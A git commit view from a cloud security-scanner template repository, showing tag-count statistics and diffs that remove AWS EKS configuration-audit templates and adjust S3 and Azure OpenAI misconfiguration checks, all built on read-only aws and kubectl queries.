ai","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"cve2010","count":115},{"name":"file-upload","count":113},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":88},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"ics","count":68},{"name":"google","count":67},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"oob","count":63},{"name":"php","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"aem","count":53},{"name":"ssti","count":53},{"name":"misc","count":52},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"tenable","count":48},{"name":"wp-theme","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"hackerone","count":46},{"name":"aliyun","count":45},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"dns","count":44},{"name":"ssl","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"scada","count":38},{"name":"vpn","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"osint-coding","count":36}Line truncated
{"tags":[{"name":"cve","count":2977},{"name":"panel","count":1274},{"name":"xss","count":1211},{"name":"wordpress","count":1102},{"name":"exposure","count":1054},{"name":"wp-plugin","count":962},{"name":"osint","count":807},{"name":"tech","count":764},{"name":"lfi","count":746},{"name":"misconfig","count":727},{"name":"rce","count":699},{"name":"edb","count":598},{"name":"packetstorm","count":552},{"name":"wpscan","count":530},{"name":"wp","count":513},{"name":"cve2021","count":503},{"name":"cve2022","count":497},{"name":"devops","count":496},{"name":"cve2023","count":462},{"name":"sqli","count":457},{"name":"cloud","count":454},{"name":"detect","count":442},{"name":"authenticated","count":405},{"name":"login","count":402},{"name":"unauth","count":399},{"name":"cve2024","count":391},{"name":"intrusive","count":365},{"name":"file","count":360},{"name":"kev","count":290},{"name":"oast","count":261},{"name":"cve2020","count":260},{"name":"config","count":253},{"name":"default-login","count":253},{"name":"token-spray","count":247},{"name":"microsoft","count":235},{"name":"top-200","count":235},{"name":"apache","count":225},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":210},{"name":"network","count":210},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":193},{"name":"azure-cloud-config","count":191},{"name":"aws","count":183},{"name":"time-based-sqli","count":175},{"name":"cve2018","count":173},{"name":"iot","count":172},{"name":"cve2019","count":170},{"name":"auth-bypass","count":166},{"name":"amazon","count":166},{"name":"install","count":161},{"name":"keys","count":156},{"name":"redirect","count":153},{"name":"code","count":153},{"name":"joomla","count":150},{"name":"tcp","count":139},{"name":"aws-cloud-config","count":138},{"name":"ssrf","count":138},{"name":"cms","count":121},{"name":"cve2017","count":117},{"name":"phishing","count":117},{"name":"files","count":114},{"name":"cve2010","count":112},{"name":"router","count":111},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"disclosure","count":96},{"name":"linux","count":86},{"name":"seclists","count":83},{"name":"local","count":81},{"name":"privesc","count":80},{"name":"takeover","count":80},{"name":"oss","count":78},{"name":"fileupload","count":76},{"name":"oracle","count":75},{"name":"kubernetes","count":74},{"name":"js","count":70},{"name":"cisco","count":70},{"name":"windows-audit","count":70},{"name":"windows","count":68},{"name":"adobe","count":65},{"name":"enum","count":65},{"name":"huntr","count":64},{"name":"k8s","count":63},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2016","count":60},{"name":"cve2015","count":60},{"name":"atlassian","count":59},{"name":"c2","count":57},{"name":"vmware","count":57},{"name":"detection","count":57},{"name":"google","count":56},{"name":"ssh","count":51},{"name":"dast","count":51},{"name":"logs","count":50},{"name":"audit","count":50},{"name":"tenable","count":49},{"name":"file-upload","count":49},{"name":"cve2014","count":49},{"name":"php","count":48},{"name":"traversal","count":47},{"name":"hackerone","count":47},{"name":"debug","count":47},{"name":"log4j","count":47},{"name":"aem","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"generic","count":46},{"name":"deserialization","count":46},{"name":"osint-gaming","count":45},{"name":"aliyun","count":45},{"name":"jndi","count":44},{"name":"ssti","count":44},{"name":"oa","count":43},{"name":"injection","count":43},{"name":"plugin","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"misc","count":40},{"name":"springboot","count":40},{"name":"ssl","count":40},{"name":"listing","count":40},{"name":"tls","count":39},{"name":"fortinet","count":39},{"name":"ibm","count":39},{"name":"miscellaneous","count":39},{"name":"cti","count":37},{"name":"jira","count":37},{"name":"dlink","count":35},{"name":"osint-misc","count":35},{"name":"sap","count":35},{"name":"k8s-cluster-security","count":35},{"name":"gitlab","count":33},{"name":"fuzz","count":33},{"name":"info-leak","count":33},{"name":"lfr","count":33},{"name":"devsecops","count":33},{"name":"wp-theme","count":33},{"name":"osint-tech","count":31},{"name":"api","count":31},{"name":"ec2","count":30},{"name":"osint-coding","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"xxe","count":28},{"name":"yonyou","count":28},{"name":"printer","count":28},{"name":"citrix","count":27},{"name":"admin","count":27},{"name":"proxy","count":27},{"name":"bestwebsoft","count":27},{"name":"tomcat","count":27},{"name":"manageengine","count":27},{"name":"firewall","count":27},{"name":"dns","count":27},{"name":"cve2012","count":26},{"name":"zohocorp","count":26},{"name":"zoho","count":26},{"name":"auth","count":25},{"name":"prestashop","count":25},{"name":"weaver","count":25},{"name":"rds","count":24},{"name":"github","count":24},{"name":"dashboard","countLine truncated
+6405 -8371
View File
File diff suppressed because it is too large. Load diff
+10 -10
View File
@@ -1,12 +1,12 @@
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6626 | dhiyaneshdk | 2114 | http | 10970 | info | 5013 | file | 447 |
| cve | 4283 | daffainfo | 949 | cloud | 663 | high | 2915 | dns | 33 |
| discovery | 3729 | princechaddha | 867 | file | 447 | medium | 2803 | | |
| vkev | 1795 | dwisiswant0 | 807 | code | 288 | critical | 1820 | | |
| wordpress | 1656 | pussycat0x | 797 | network | 280 | low | 504 | | |
| panel | 1537 | ritikchaddha | 779 | dast | 249 | unknown | 58 | | |
| wp-plugin | 1473 | rxerium | 644 | workflows | 207 | | | | |
| exposure | 1456 | 0x_akoko | 417 | javascript | 124 | | | | |
| xss | 1409 | pikpikcu | 353 | ssl | 38 | | | | |
| osint | 1131 | theamanrawat | 343 | dns | 30 | | | | |
| cve | 2977 | dhiyaneshdk | 1785 | http | 8434 | info | 4030 | file | 417 |
| panel | 1274 | daffainfo | 868 | cloud | 419 | high | 2248 | dns | 25 |
| xss | 1211 | dwisiswant0 | 804 | file | 417 | medium | 2112 | | |
| wordpress | 1102 | princechaddha | 570 | dast | 255 | critical | 1245 | | |
| exposure | 1054 | ritikchaddha | 550 | workflows | 192 | low | 296 | | |
| wp-plugin | 962 | pussycat0x | 478 | code | 163 | unknown | 55 | | |
| osint | 807 | pikpikcu | 352 | network | 140 | | | | |
| tech | 764 | pdteam | 302 | javascript | 78 | | | | |
| lfi | 746 | ricardomaia | 249 | ssl | 36 | | | | |
| misconfig | 727 | geeknik | 235 | dns | 22 | | | | |
@@ -1,79 +0,0 @@
id: eks-aws-managed-iam-policy
info:
name: Use AWS-managed policy to manage AWS resources
author: princechaddha
severity: high
description: |
Ensure that all Amazon EKS clusters use the "AmazonEKSClusterPolicy" managed policy to efficiently manage the resources that you use with the EKS service. This policy grants Kubernetes the necessary permissions to handle resources on your behalf.
impact: |
Without the AmazonEKSClusterPolicy, Kubernetes may not have the required permissions to perform essential operations like EC2:CreateTags, which are needed for proper resource management and identification.
remediation: |
Attach the AmazonEKSClusterPolicy to the IAM role associated with your EKS cluster using either the AWS Console or AWS CLI.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/eks-aws-managed-iam-policy.html
- https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html
tags: cloud,devops,aws,amazon,eks,aws-cloud-config
variables:
region: "us-east-1"
flow: |
code(1)
for(let cluster of iterate(template.clusters)){
set("cluster", cluster)
code(2)
code(3)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
aws eks list-clusters --region $region --query 'clusters' --output json
extractors:
- type: json
name: clusters
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws eks describe-cluster --region $region --name $cluster --query 'cluster.roleArn' --output json
extractors:
- type: json
name: rolearn
internal: true
json:
- '.'
- engine:
- sh
- bash
source: |
aws iam list-attached-role-policies --role-name $(echo $rolearn | cut -d'/' -f2) --query 'AttachedPolicies[*].PolicyArn' --output json
matchers-condition: and
matchers:
- type: word
words:
- "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy"
negative: true
- type: word
words:
- "["
extractors:
- type: dsl
dsl:
- '"EKS cluster " + cluster + " does not have AmazonEKSClusterPolicy attached to its IAM role"'
# digest: 4b0a00483046022100cb188ea7a1c621443962e0752bbd3c2ed69bff4d32f2235fdc081775da96d4e1022100b1f30b371acb9baa1fa798187a7a003c496d9b10b73f163722b365498bdd289e:922c64590222798bb761d5b6d8e72950
-65
View File
@@ -1,65 +0,0 @@
id: eks-cluster-logging
info:
name: Kubernetes Cluster Logging
author: princechaddha
severity: low
description: |
Ensure that your Amazon Elastic Kubernetes Service (EKS) clusters have control plane logs enabled to publish API, audit, controller manager, scheduler and authenticator logs to AWS CloudWatch Logs.
impact: |
Without control plane logging enabled, you lose visibility into API requests, authentication attempts, and cluster operations, making it difficult to monitor, troubleshoot, and audit cluster activities.
remediation: |
Enable control plane logging for your EKS cluster by configuring all log types (api, audit, authenticator, controllerManager, scheduler) in the cluster configuration.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/cluster-logging.html
- https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html
tags: cloud,devops,aws,amazon,eks,aws-cloud-config
variables:
region: "us-east-1"
flow: |
code(1)
for(let cluster of iterate(template.clusters)){
set("cluster", cluster)
code(2)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
aws eks list-clusters --region $region --query 'clusters' --output json
extractors:
- type: json
name: clusters
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws eks describe-cluster --region $region --name $cluster --query 'cluster.logging.clusterLogging[*].enabled' --output json
matchers-condition: and
matchers:
- type: word
words:
- "false"
- type: word
words:
- "true"
negative: true
extractors:
- type: dsl
dsl:
- '"EKS cluster " + cluster + " does not have control plane logging enabled"'
# digest: 4a0a0047304502207abbc7892b2cc08d5d295b171c31d5ae2ef322d6278e92f662aeb47c659f8885022100ba3672bb61d247c24db1fc1b6ef3cd256258f04a268d52faa5e8105261796fd7:922c64590222798bb761d5b6d8e72950
-64
View File
@@ -1,64 +0,0 @@
id: eks-endpoint-access
info:
name: EKS Cluster Endpoint Public Access
author: princechaddha
severity: high
description: |
Ensure that your Amazon EKS cluster's Kubernetes API server endpoint is not publicly accessible from the Internet in order to avoid exposing private data and minimizing security risks.
impact: |
Publicly accessible EKS cluster endpoints expose your Kubernetes API server to potential unauthorized access and attacks, increasing the risk of data breaches and security compromises.
remediation: |
Configure the EKS cluster endpoint access to be private or restrict public access to specific IP addresses. Use VPC endpoints and security groups to control access to the Kubernetes API server.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/endpoint-access.html
- https://docs.aws.amazon.com/eks/latest/userguide/cluster-endpoint.html
tags: cloud,devops,aws,amazon,eks,aws-cloud-config
variables:
region: "us-east-1"
flow: |
code(1)
for(let clusterName of iterate(template.clusters)){
set("cluster", clusterName)
code(2)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
aws eks list-clusters --region $region --query 'clusters[]' --output json
extractors:
- type: json
name: clusters
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws eks describe-cluster --name $cluster --region $region --query 'cluster.resourcesVpcConfig' --output json
matchers-condition: and
matchers:
- type: word
words:
- '"endpointPublicAccess": true'
- type: word
words:
- '"0.0.0.0/0"'
extractors:
- type: dsl
dsl:
- '"EKS cluster " + cluster + " has public endpoint access enabled with unrestricted CIDR (0.0.0.0/0)"'
# digest: 4a0a004730450220449d0874682b6d4ed40f71819e03f437222ad9b8f6b8cc21fc17bca8fda57714022100b3b986adfc06443888f8dc7148a6721b2dce6beabce549e0b74aebd6835d3f80:922c64590222798bb761d5b6d8e72950
@@ -1,96 +0,0 @@
id: eks-iam-managed-policy-networking
info:
name: Use AWS-managed policy to Manage Networking Resources
author: princechaddha
severity: high
description: |
Ensure that all Amazon EKS cluster node groups use the "AmazonEKS_CNI_Policy" managed policy to manage cloud networking resources effectively. This policy provides the necessary permissions to the Amazon VPC CNI Plugin for managing network interfaces.
impact: |
Without the AmazonEKS_CNI_Policy, the VPC CNI plugin cannot properly manage network interfaces, which will affect pod networking and communication within the EKS cluster.
remediation: |
Attach the AmazonEKS_CNI_Policy to the IAM role associated with your EKS node groups using either the AWS Console or AWS CLI.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/eks-iam-managed-policy-networking.html
- https://docs.aws.amazon.com/eks/latest/userguide/cni-iam-role.html
tags: cloud,devops,aws,amazon,eks,aws-cloud-config
variables:
region: "us-east-1"
flow: |
code(1)
for(let cluster of iterate(template.clusters)){
set("cluster", cluster)
code(2)
for(let nodegroup of iterate(template.nodegroups)){
set("nodegroup", nodegroup)
code(3)
code(4)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
aws eks list-clusters --region $region --query 'clusters' --output json
extractors:
- type: json
name: clusters
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws eks list-nodegroups --region $region --cluster-name $cluster --query 'nodegroups' --output json
extractors:
- type: json
name: nodegroups
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws eks describe-nodegroup --region $region --cluster-name $cluster --nodegroup-name $nodegroup --query 'nodegroup.nodeRole' --output json
extractors:
- type: json
name: rolearn
internal: true
json:
- '.'
- engine:
- sh
- bash
source: |
aws iam list-attached-role-policies --role-name $(echo $rolearn | cut -d'/' -f2) --query 'AttachedPolicies[*].PolicyArn' --output json
matchers-condition: and
matchers:
- type: word
words:
- "arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy"
negative: true
- type: word
words:
- "["
extractors:
- type: dsl
dsl:
- '"EKS node group " + nodegroup + " in cluster " + cluster + " does not have AmazonEKS_CNI_Policy attached to its IAM role"'
# digest: 4a0a00473045022023f8808874109fe7ecbba46a483828ba13f43be27154f5616fe50dc71b12cc43022100af8c38a314e3e68589d0d8fc67814595d173bc29827cdee00c0fcf3189049701:922c64590222798bb761d5b6d8e72950
@@ -1,59 +0,0 @@
id: eks-kubernetes-secrets-encryption
info:
name: EKS Kubernetes Secrets not Encrypted
author: princechaddha
severity: high
description: |
Ensure that your Amazon Elastic Kubernetes Service (EKS) clusters have encryption enabled for Kubernetes secrets using AWS KMS Customer Master Keys (CMKs). This is a security best practice for protecting sensitive data stored in Kubernetes secrets.
impact: |
Without encryption enabled, Kubernetes secrets are stored in plaintext, making them vulnerable to unauthorized access and potentially violating compliance requirements for data-at-rest encryption.
remediation: |
Enable encryption for your EKS cluster by creating a KMS CMK and configuring it for the cluster. Note that this requires recreating the cluster with the encryption configuration.
reference:
- https://docs.aws.amazon.com/eks/latest/userguide/encryption-configuration.html
- https://docs.aws.amazon.com/eks/latest/userguide/update-cluster.html
tags: cloud,devops,aws,amazon,eks,aws-cloud-config
variables:
region: "us-east-1"
flow: |
code(1)
for(let cluster of iterate(template.clusters)){
set("cluster", cluster)
code(2)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
aws eks list-clusters --region $region --query 'clusters' --output json
extractors:
- type: json
name: clusters
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws eks describe-cluster --region $region --name $cluster --query 'cluster.encryptionConfig[*].provider.keyArn' --output json
matchers:
- type: word
words:
- "null"
extractors:
- type: dsl
dsl:
- '"EKS cluster " + cluster + " does not have encryption enabled for Kubernetes secrets"'
# digest: 4b0a0048304602210095384f513dd7c3cfcf985e2bb4c95fd1ef48deb4c6d60d5e2068f5be999999a7022100dc5163ca0d48f98dd9991cfb47bfa72632a09376f17fb74868870b8816f9e944:922c64590222798bb761d5b6d8e72950
@@ -1,59 +0,0 @@
id: eks-logging-kubes-api-calls
info:
name: Enable CloudTrail Logging for Kubernetes API Calls
author: princechaddha
severity: high
description: |
Ensure that CloudTrail logging is enabled for Amazon Elastic Kubernetes Service (EKS) clusters in order to record all Kubernetes API calls. Amazon CloudTrail records and documents all activities performed on EKS clusters.
impact: |
Without CloudTrail logging enabled, there is no audit trail of API calls made to EKS clusters, making it difficult to track unauthorized access, investigate security incidents, and maintain compliance.
remediation: |
Enable CloudTrail logging for your EKS clusters by either starting logging on existing trails or creating a new multi-region trail if none exists.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/eks-logging-kubes-api-calls.html
- https://docs.aws.amazon.com/eks/latest/userguide/logging-using-cloudtrail.html
tags: cloud,devops,aws,amazon,eks,aws-cloud-config
variables:
region: "us-east-1"
flow: |
code(1)
for(let trailName of iterate(template.trails)){
set("trail", trailName)
code(2)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
aws cloudtrail list-trails --region $region --query 'Trails[*].Name' --output json
extractors:
- type: json
name: trails
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws cloudtrail get-trail-status --name $trail --region $region --query 'IsLogging' --output json
matchers:
- type: word
words:
- "false"
extractors:
- type: dsl
dsl:
- '"CloudTrail trail " + trail + " is not logging EKS API calls"'
# digest: 4a0a00473045022100f391ee451c3a69cb5835b4b0a2c35886c5905ac8d91adf05ea56546b3e4109ff02201fd66caa2a782620e962cecbdf4ff60f957dcecac3f8d53006d44b60d08d7672:922c64590222798bb761d5b6d8e72950
-64
View File
@@ -1,64 +0,0 @@
id: eks-long-running-pods
info:
name: EKS Long Running Pods
author: princechaddha
severity: medium
description: |
Ensure that Amazon Elastic Kubernetes Service (EKS) clusters do not have pods running for more than 30 days. Long-running pods may indicate stale deployments, potential security risks, or resource inefficiencies.
impact: |
Long-running pods can lead to security vulnerabilities, outdated software versions, and inefficient resource utilization. They may also indicate a lack of proper deployment practices and maintenance.
remediation: |
Review and update long-running pods. Consider implementing proper deployment strategies, regular updates, and automated pod rotation policies.
reference:
- https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/
- https://docs.aws.amazon.com/eks/latest/userguide/kubernetes-versions.html
tags: cloud,devops,aws,amazon,eks,aws-cloud-config
variables:
region: "us-east-1"
days: "30"
flow: |
code(1)
for(let cluster of iterate(template.clusters)){
set("cluster", cluster)
code(2)
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
aws eks list-clusters --region $region --query 'clusters' --output json
extractors:
- type: json
name: clusters
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws eks update-kubeconfig --name $cluster --region $region
kubectl get pods --all-namespaces --field-selector=status.phase=Running --output=json | \
jq -r --argjson days "$days" '.items[] |
select((now - (.metadata.creationTimestamp | fromdate)) > ($days * 24 * 3600)) |
.metadata.namespace + "/" + .metadata.name'
matchers:
- type: word
words:
- "/"
extractors:
- type: dsl
dsl:
- '"EKS cluster " + cluster + " has pods running for more than " + days + " days"'
# digest: 4a0a00473045022078e484dde6ab14a2c60f99ac9498ceac9733bddc7c21db406a696cf49974d53d022100b8fde680e4403da4247605f652a492812f19e6559cfd949652e11e22dadbf28e:922c64590222798bb761d5b6d8e72950
@@ -1,96 +0,0 @@
id: eks-managed-policy-ecr-access
info:
name: Use AWS-managed policy to access Amazon ECR Repositories
author: princechaddha
severity: high
description: |
Ensure that all EKS cluster node groups use the "AmazonEC2ContainerRegistryReadOnly" managed policy to access Amazon ECR repositories. This policy provides read-only access to Amazon EC2 Container Registry (ECR) repositories.
impact: |
Without the AmazonEC2ContainerRegistryReadOnly policy, EKS node groups cannot pull container images from ECR repositories, which will prevent pods from starting and running properly.
remediation: |
Attach the AmazonEC2ContainerRegistryReadOnly policy to the IAM role associated with your EKS node groups using either the AWS Console or AWS CLI.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/managed-policy-ecr-access.html
- https://docs.aws.amazon.com/AmazonECR/latest/userguide/ecr_managed_policies.html
tags: cloud,devops,aws,amazon,eks,aws-cloud-config
variables:
region: "us-east-1"
flow: |
code(1)
for(let cluster of iterate(template.clusters)){
set("cluster", cluster)
code(2)
for(let nodegroup of iterate(template.nodegroups)){
set("nodegroup", nodegroup)
code(3)
code(4)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
aws eks list-clusters --region $region --query 'clusters' --output json
extractors:
- type: json
name: clusters
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws eks list-nodegroups --region $region --cluster-name $cluster --query 'nodegroups' --output json
extractors:
- type: json
name: nodegroups
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws eks describe-nodegroup --region $region --cluster-name $cluster --nodegroup-name $nodegroup --query 'nodegroup.nodeRole' --output json
extractors:
- type: json
name: rolearn
internal: true
json:
- '.'
- engine:
- sh
- bash
source: |
aws iam list-attached-role-policies --role-name $(echo $rolearn | cut -d'/' -f2) --query 'AttachedPolicies[*].PolicyArn' --output json
matchers-condition: and
matchers:
- type: word
words:
- "arn:aws:iam::aws:policy/AmazonEC2ContainerRegistryReadOnly"
negative: true
- type: word
words:
- "["
extractors:
- type: dsl
dsl:
- '"EKS node group " + nodegroup + " in cluster " + cluster + " does not have AmazonEC2ContainerRegistryReadOnly policy attached to its IAM role"'
# digest: 4b0a00483046022100dfff86549934385d864486861683a6edb57b79f605a4d9fe4ec39ae73e89441a022100b9baaea0b29a98600ba9ac840f7ff8b99be1fd58679e781a011a6fe2bc8c0bfd:922c64590222798bb761d5b6d8e72950
@@ -1,82 +0,0 @@
id: eks-node-group-remote-access
info:
name: EKS Node Group Remote Access Configuration
author: princechaddha
severity: high
description: |
Ensure that Amazon EKS node groups are configured with appropriate remote access settings to maintain security and enable necessary administrative access.
impact: |
Improper remote access configuration in EKS node groups can lead to security vulnerabilities or hinder necessary administrative access, potentially affecting cluster management and troubleshooting capabilities.
remediation: |
Configure remote access settings for EKS node groups by specifying appropriate SSH key pairs and source security groups to enable secure administrative access while maintaining security best practices.
reference:
- https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EKS/eks-node-group-remote-access.html
- https://docs.aws.amazon.com/eks/latest/userguide/launch-templates.html
tags: cloud,devops,aws,amazon,eks,aws-cloud-config
variables:
region: "us-east-1"
flow: |
code(1)
for(let clusterName of iterate(template.clusters)){
set("cluster", clusterName)
code(2)
for(let nodegroupName of iterate(template.nodegroups)){
set("nodegroup", nodegroupName)
code(3)
}
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
aws eks list-clusters --region $region --query 'clusters[]' --output json
extractors:
- type: json
name: clusters
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws eks list-nodegroups --cluster-name $cluster --region $region --query 'nodegroups[]' --output json
extractors:
- type: json
name: nodegroups
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
aws eks describe-nodegroup --cluster-name $cluster --nodegroup-name $nodegroup --region $region --query 'nodegroup.remoteAccess' --output json
matchers-condition: and
matchers:
- type: regex
regex:
- '.*'
- type: word
words:
- "null"
negative: true
extractors:
- type: dsl
dsl:
- '"EKS node group " + nodegroup + " in cluster " + cluster + " does not have remote access configured"'
# digest: 4a0a0047304502203d6f07c68d09531799f475c104159760b6ff871908abe6318495c472fcf12e75022100d887a58f8de4bf9665e832ed1af966ae0c186a2afe1f1749c1912bba4b308266:922c64590222798bb761d5b6d8e72950
@@ -27,7 +27,7 @@ code:
aws s3api list-buckets --query 'Buckets[*].Name'
extractors:
- type: json
- type: json # type of the extractor
internal: true
name: buckets
json:
@@ -39,14 +39,21 @@ code:
source: |
aws s3api get-bucket-policy --bucket $bucket --query Policy --output text
matchers-condition: and
matchers:
- type: regex
- type: word
part: body
regex:
- '\{[^}]*?(?:(?:"Effect"\s*:\s*"Allow"[^}]*?"Principal"\s*:\s*(?:"\*"|\{\s*"AWS"\s*:\s*"\*"\s*\}))|(?:"Principal"\s*:\s*(?:"\*"|\{\s*"AWS"\s*:\s*"\*"\s*\})[^}]*?"Effect"\s*:\s*"Allow"))[^}]*?\}'
words:
- '"Effect":"Allow"'
- type: word
part: body
words:
- '"Principal":"*"'
- '"AWS":"*"'
extractors:
- type: dsl
dsl:
- '"The S3 bucket " + bucket +" is publicly accessible via Policy"'
# digest: 4a0a0047304502204aa1c0bf7c39ed575786813f4442686d138c58747766d33101948713281ac9610221008b7dc698b16415a2e1262b4bf9da7afda5e909f72df76d03d403dab9b8f1d479:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100c62712d0155b3a6ab8cad4c8d7a87284079288e840855539a4186055949e17f2022061849f7af633798a71f6769172339151da4f05799827c15cc680ee59bfbbf55d:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
Configure your Azure OpenAI instances to use Customer-Managed Keys by setting up encryption key attributes in the Azure Key Vault and then linking them to your OpenAI service instances.
reference:
- https://docs.microsoft.com/en-us/azure/cognitive-services/encryption-key-management
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config
flow: |
code(1);
@@ -55,4 +55,4 @@ code:
- type: dsl
dsl:
- '"$name in $resourceGroup does not use CMK"'
# digest: 4a0a00473045022100afdd86b713882a921e9c21b476cb37844ce0635ee1d0c1592eb8aa18f5210dd102201b5725b8bcdb6d39f49cc605f81577c44c01a10d3241e9f23e6ad78c27f86d51:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202d371c0b11e99b4639048d8838040f11717757a572237352dcc017df1fd69e630221008306f773a98c3b399126912a7b9338954bb249d368db8d7922f762bb4ef4632b:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
Configure your Azure OpenAI service instances to use either system-assigned or user-assigned managed identities to enhance security and simplify resource access management.
reference:
- https://docs.microsoft.com/en-us/azure/cognitive-services/authentication
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config
flow: |
code(1);
@@ -54,4 +54,4 @@ code:
- type: dsl
dsl:
- 'name + " in " + resourceGroup + " does not use a managed identity"'
# digest: 4a0a00473045022100945bab0dc27ba091ec91d4985711f5036fe43509c43c46e3469fbbf687335748022045e04dc407597434705d69a87dd9eac2eb5d112f8f1ea2da2978fec0af63c9f6:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402201d2dd4c0da912a83c8dfb6e3c6fd56414e4da3a8b0118396060fccb00c7800620220759f09afa595c913f3fa7017cf66a84b68a639f7ffb1e9a6a4fb24499c91a983:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
Configure all Azure OpenAI service instances to use private endpoints to enhance security and ensure that these instances are not accessible over the public internet.
reference:
- https://docs.microsoft.com/en-us/azure/private-link/private-endpoint-overview
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config
flow: |
code(1);
@@ -53,4 +53,4 @@ code:
- type: dsl
dsl:
- 'name + " in " + resourceGroup + " does not have private endpoint connections configured"'
# digest: 4b0a00483046022100ae0d494dae8c7664105ad9828e46f4ae2036b1eb83f20fab69548c1286adce3e022100f9a79065e6a6b95e8ccdb5f2393bc0a29c7a4c566b4c621408d2fa395a354502:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100fbffb2e6b093f781b961d876c19d527e0576808972d3b89b382cdb0272353f36022100947e6a2cf9934afc9b45991b207123cbedf3dd00437555c2aa7be081f3397a36:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
Configure the Azure OpenAI service instances to disable public network access to secure them against unauthorized external access.
reference:
- https://docs.microsoft.com/en-us/azure/cognitive-services/cognitive-services-apis-create-account-cli?tabs=windows
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
tags: cloud,devops,azure,microsoft,openai,azure-cloud-config
flow: |
code(1);
@@ -58,4 +58,4 @@ code:
- type: dsl
dsl:
- '"$name in $resourceGroup has public network access enabled"'
